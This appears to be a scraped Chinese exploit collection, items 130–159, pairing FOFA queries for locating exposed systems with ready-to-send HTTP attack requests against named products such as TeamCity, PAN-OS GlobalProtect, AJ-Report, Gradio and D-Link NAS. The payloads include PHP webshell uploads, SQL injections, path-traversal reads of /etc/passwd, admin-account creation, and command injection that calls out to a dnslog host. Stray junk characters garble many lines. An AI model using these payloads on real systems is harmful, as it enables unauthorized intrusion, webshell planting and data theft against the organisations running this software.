3 P" I% v6 t2 R2 rGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

+ p  j  ~# H; ?; X) J
; t, |) X, q2 y* t) n$ P第二步，读取/etc/passwd文件
$ `! ?! |! G" [* H$ }6 ~' fGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
/ i5 P' U+ G2 B3 z2 e2 l* V. u8 e& }Host: x.x.x.x
& p8 o0 |4 q1 M- _8 e4 r! eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
- u6 P' x, S$ W  g) K* LAccept-Encoding: gzip, deflate
* z0 G$ f- r. o+ o4 e3 g9 V* pConnection: close
% I$ [! L$ k( f, V: l" q, guuid: 85f60018-a654-4410-a783-f81cbd5000b9


130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
3 D5 N/ q$ N5 T, BPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
  ^. M$ i8 C. d, k$ [" ^" pX-Requested-With: XMLHttpRequest
5 ]$ P2 |, W) P" P8 ?% {1 kUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
! N# }$ X) A' C% k3 d( `; ?4 uContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
- E; W- X5 @$ a$ ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 U; y0 W' I/ h, J# r2 k9 M/ yCookie: user_name=1; user_id=3
Connection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
  Q% S& }6 R) K
<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
1 \9 k+ s$ a; F; G8 @6 P. c' G/ L6 c
* x) e" @8 Q) `& n" z. |- ^132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
9 @" g6 \5 C; ^/ g4 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ e1 p7 [3 C$ _Accept: */*
Content-Type: application/json
6 I( B8 \5 X) f& {1 }: KAccept-Encoding: gzip, deflate
4 n0 z6 R% o1 D4 |' z2 `
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
% i1 t1 f" z1 Y/ b8 J
, M& ~/ d6 Y3 B8 n' X3 h5 }6 z
& v/ A8 P% M& u- @# ZCVE-2024-27199
9 a7 u* I% z4 T) V- R5 o$ Q' [/ R/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp


* n2 v8 j# N6 a3 aCVE-2024-27198-RCE.py
/ L* a" N9 |+ Q: r# W, G
133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
2 K3 D2 H" i* C$ L) tPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
; t. c2 P; Q/ W% n" X! ]6 L' fHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
( U& L  E5 P0 _$ ~: ~Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
# b, ~6 r8 a0 G$ U& D5 u& GContent-Type: application/octet-stream

% i- R9 a# q$ t) k3 l% W% p<?php system("cat /etc/passwd");unlink(__FILE__);?>
" \+ m; ]7 H+ R8 ], x* ]4 D------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
$ R7 C, I4 f& [1 M4 X2 z8 A  Q


+ `4 [  e* h2 D; W! T6 h" r134. 网康NS-ASG应用安全网关index.php sql注入
9 ^- R0 ~: h" a$ QCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
7 R) z7 Y4 {/ w' G6 HFOFA：app="网康科技-NS-ASG安全网关"
' a6 b& u+ ^7 }0 [: h1 i' W6 J, wPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
  V# s8 G: m" U" {1 jCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
  ?! Z: D- z0 {; J- {) a1 C: u9 IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
' G; a& g/ H% y1 e7 QTe: trailers
( ^. ~+ J6 \' ]9 Y" _" eConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
0 U1 W3 S- M* m% B# T/ `* D
% q) k; A/ t5 F' `2 xjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

1 O+ g$ }- R1 C# l7 x
. B* m1 [! Y1 w! H. z135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
) ?  ?5 [* ]/ rCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
. }8 @  I8 B6 P$ U5 M2 dFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
* O9 A, F, Z* yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
, {" @9 z4 [# L! l, SAccept-Language: zh-CN,zh;q=0.9
# [) {# J  i; ZConnection: close
7 g4 l+ h6 K4 |% `( l* X0 Z4 j
  f! G( @! J' i
& U0 a. d6 L" t# C- v136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
# S2 G, w# L/ A. D: w# ZHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 B7 ]0 G# E1 I+ p4 SConnection: close
Accept: */*
Accept-Language: en
$ H0 m; Z, W9 ~$ E* H: DAccept-Encoding: gzip

) ]/ x% |- L" ]' \3 S% V( [
137. 福建科立迅通信指挥调度平台down_file.php sql注入
$ l' |) U1 _) N) L6 v. nCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
2 j" V" y# b* t" v1 D6 [& g& pHost: x.x.x.x
% S0 Z1 E/ {( e6 I5 ]* W; CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: K" {# u4 ?# i1 }7 w/ W0 tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& C" `, o9 h! q* KAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
$ M# f6 ?* W: Q6 y% }Upgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
+ K! S: K1 c1 h4 Q9 _CVE-2024-2621
" |  c# m% [& T- `  v' l+ }7 yFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
4 D/ A7 M3 u7 `3 U- Y, r& A$ dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
# Z5 {" v3 L7 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
4 \, m# O$ T! f# n8 N) \; CUpgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
# I7 x4 |4 L( N: Z) |FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
  x; w- ?$ \) _Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
* a+ p- q$ B+ OUpgrade-Insecure-Requests: 1
9 G& n( c* n, Y* h2 _$ ^3 y
" W+ ^. `! o9 ~1 ^" Z1 }0 @
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
+ }. V! ]3 g2 t- O3 S3 KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
" Z# V& u2 N. a" D: R% T1 BUpgrade-Insecure-Requests: 1

8 C7 V9 S6 T# Z: ~( a: A
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
# s- J  B/ j& m5 B* APOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


5 a) L* {+ a& S, V  I7 ]142. CMSV6车辆监控平台系统中存在弱密码
' Z$ o2 I+ _2 vCVE-2024-29666
- r& H7 t6 e) b& \FOFA：body="/808gps/"
/ E" A: |! {8 g* `+ ^# I0 _admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
: c' ~! B7 o% JPAYLOAD
2 e  ]8 v$ p; i
% r) l0 O. R( g3 t1 H144. D-Link nas_sharing.cgi 命令注入
9 m0 V! F" q: O  y5 |FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
$ ~1 p5 z4 w7 A* u6 lGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
0 P' Q7 C1 e) L4 ?3 k. C! CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
. y: t! R; y, Z& pAccept-Language: en
' g$ q( V; k& \Accept-Encoding: gzip
! b( [- ~1 ^& m4 C& l
- c8 E$ S6 D# S. w+ Q; P
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
, z) S  q6 W( s6 k$ S1 ^Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
. t1 {* _: j# i' c% ?( x0 }7 eAccept-Encoding: gzip
2 C' `/ O# k/ N# B! j" f: P

146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
7 l# Z3 H% h% N! P. \: d) |FOFA：app="MajordomoSL"
6 q' ^/ N) E; c0 O7 U, uGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
! a; F7 R5 F2 G& ~5 }Accept-Encoding: gzip, deflate
* q* u+ [3 A: I: @6 ?% MConnection: close


147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
+ I+ _2 h9 u3 b, c7 u( n2 b( X- z. AFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
8 A0 T* r& B9 |' C) CHost: 127.0.0.1:81
Cache-Control: max-age=0
) F9 w9 C, V* r' e9 |$ t) [5 GConnection: close

; v) o4 S1 `$ X# h6 i9 }
148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
4 a$ n. F0 P" A( ?( cPAYLOAD
0 a) _6 H; n' [. y$ p4 n( X/ K) K
6 U8 E& t" O: d  e! r149. AJ-Report开源数据大屏存在远程命令执行
. F4 L9 \6 c) ?FOFA：title="AJ-Report"
' P0 `/ C9 u, Y8 F
6 K& f6 Y* l2 @6 ^$ I' d9 r, @! ?POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
; `4 W" e9 t5 x+ O5 BHost: x.x.x.x
0 Y" Q- {, L4 x7 n0 r# vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 A5 e2 h. L& vAccept-Encoding: gzip, deflate, br
) h( V  `" Z0 ?( |  dAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
" E: c8 X2 D7 G, }6 \% w* `
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
1 s" |7 {8 g& T9 r& z" t3 M. _
0 \2 w, u( S* K# C5 b5 A150. AJ-Report 1.4.0 认证绕过与远程代码执行
  V# ]9 J0 t0 MFOFA：title="AJ-Report"
% f4 q. f! F; s. w3 vPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 B9 {$ `0 d* ^Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
2 l- L; Y5 s5 X. xContent-Type: application/json;charset=UTF-8
Connection: close
; Q: ^4 Z- K& y2 [1 U3 k* HContent-Length: 339

# a  o. ]! u) w. ?# ^' J4 ]8 i7 }{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
- h8 y$ W! ~6 |8 f* ^8 R1 T

151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
, N* `! U9 e9 c& q5 N7 m8 r+ N) u1 fGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
# E5 Z& F" B0 W0 z2 uHost: x.x.x.x
& H/ U* d1 c) `7 hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
4 u6 `) a5 y; B) y) K0 _Accept-Encoding: gzip
3 f0 X4 x" k, N' @5 N8 O/ X

152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
- m) j, a4 H- ?; `8 [3 ^! {. PLoadMaster <= 7.2.48.10 (LTS)
7 E# K& f: G1 J0 ~: h. [) kFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
8 Q% u3 b, _8 B! G- y' AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
4 v' y: i& W% ?' HConnection: close
Accept: */*
9 l. M; q# R; e: E: c( J' E- _& qAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
% T0 b1 r$ p& g0 B8 B/ [6 zAccept-Encoding: gzip
* k1 n# L6 i: Q3 |0 }, r& X, _

* E  ^- J) D$ P& h1 Q153. gradio任意文件读取
8 O$ x8 Y$ S! {( i, E* hCVE-2024-1561FOFA：body="__gradio_mode__"
- m+ n3 y+ L/ c6 R第一步，请求/config文件获取componets的id
6 o0 b6 F7 u  N8 Bhttp://x.x.x.x/config
( S( H; O0 }+ f6 L

' a$ L2 V) ?- a8 s* {# }第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
" O0 _& s6 P# ?8 RHost: x.x.x.x
: o4 l, V* m9 \( k4 p/ l- s8 A* u* fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
Content-Type: application/json
0 ]2 M% V* O. {9 q! ?2 V2 gAccept-Encoding: gzip
/ f3 s1 I9 x. N8 V
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
" A: s/ u7 j( q& V+ {
& q' F+ w4 h4 p$ Y, L- M
第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
0 _0 o6 S) P7 ^% M1 m3 `! C
' I1 c# L$ |. N' ]- ~. ~5 s' n
154. 天维尔消防救援作战调度平台 SQL注入
. G+ n6 A& `6 V2 E- M) `( UCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
  y( i1 p" \! rHost: x.x.x.x
$ x  G1 S' s0 W# h! t7 ?Content-Length: 106
Cache-Control: max-age=0
% v- x9 a# Y! Z! Q0 FUpgrade-Insecure-Requests: 1
5 v) A, U- D+ ], ?( O$ vOrigin: http://x.x.x.x
Content-Type: application/json
6 ~' z# |. R/ V' G  kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
. R; w6 r1 \& Q+ u5 ]& L' }Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
+ h8 l. }  H; Y0 L: f5 {Connection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
, S8 b: L7 z+ i1 {0 ?- H2 w

+ L: i* R% I& _2 K; ]( F$ m155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
3 I0 K/ G0 b' ]8 u& j8 GConnection: close
  b  P8 I$ X% MContent-Length: 232
2 [9 w8 }. `* l7 V0 TAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ z. i$ g+ N: k/ RContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
+ Y' e2 Q# P) ]% a. R5 t- T0 ]$ x& O
4 ?% {; R6 Q8 U# E  d1 l-----------------------------qttl7vemrsold314zg0f
3 B) x' y! f, a4 j5 g) c8 oContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--


: n, F: P  [# N访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
8 U+ w, P- X. d9 s2 aCVE-2024-3721
0 b) A! M  l7 h& l  K3 W( L9 {FOFA："Location: /login.rsp"
$ X0 U- w- V2 S* C- F) q1 @" U! a·TBK DVR-4104
·TBK DVR-4216
* `0 V: g9 m9 L( qcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
8 e: V! d( y6 M7 Z

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
1 I+ \$ F1 C: x8 E6 AContent-Length: 0
Cookie: uid=1
. p- [* u  d; e- g$ W9 MAccept-Encoding: gzip
* P& ]' _* _$ d  U

157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
9 L. E$ e* {" FPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
" a/ Y4 ?0 h: h+ P) E; K' h' @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ m0 I6 k; A. A- }Accept-Encoding: gzip, deflate
2 o# z. S/ p( F, K7 j& ^Accept-Language: zh-CN,zh;q=0.9
) I, q5 q$ h4 ]$ [% _6 rCache-Control: max-age=0
Connection: close
/ Z2 ^' `" a3 ~& ^( o; `/ K* HContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
) g7 p1 C; ]% r8 R0 XUpgrade-Insecure-Requests: 1
7 t3 U: ~! g4 O5 @3 \; M- ?3 d
4 F3 d8 P- B8 y------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
7 }6 |! r4 [  ~, {& v% Z5 U& bContent-Type: application/octet-stream

$ u7 e0 j# N2 P9 p% @1 Wnyhelxrutzwhrsvsrafb
) e4 O) j  p7 `# q  e% I6 I------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

( {, a3 i6 f1 I9 q. Tnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

" U0 r; }$ ^! N) h; @null
------WebKitFormBoundary1imovELzPsfzp5dN
4 i3 L6 D7 k2 B7 yContent-Disposition: form-data; name="field"

null
/ c, P9 c( [7 J' T0 K------WebKitFormBoundary1imovELzPsfzp5dN
7 a* ~7 G* z$ w5 U& ]Content-Disposition: form-data; name="filetitile"
, v9 i6 n% W, B1 a" n
null
8 s/ u8 a. a6 }8 ^' P6 l------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

null
------WebKitFormBoundary1imovELzPsfzp5dN--
" K: t! F: y- Q. S* W" p

http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
  H3 m5 k4 f1 c; D: ?FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
$ C# p# D8 {8 ^  m4 jHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

/ D# A/ a2 G6 e8 w0 e4 Wobject=displayregion&contenthistid=x\'&previewid=1
. @, ~6 A. w& p; }+ @
! F) v7 u$ \, b9 h, o" P5 Z
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
8 ]* f0 n) |/ j( O4 @& aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
0 _* k) U4 D3 T  @. h2 {Content-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
0 g6 j" |- U8 ]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
6 r9 j2 g8 h3 r& a<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
, E( D+ H1 M! p8 t2 I) V* G" i<subFolder></subFolder>
8 B# z/ I1 `7 ?7 Z0 C<fileName>abcrce.asmx</fileName>
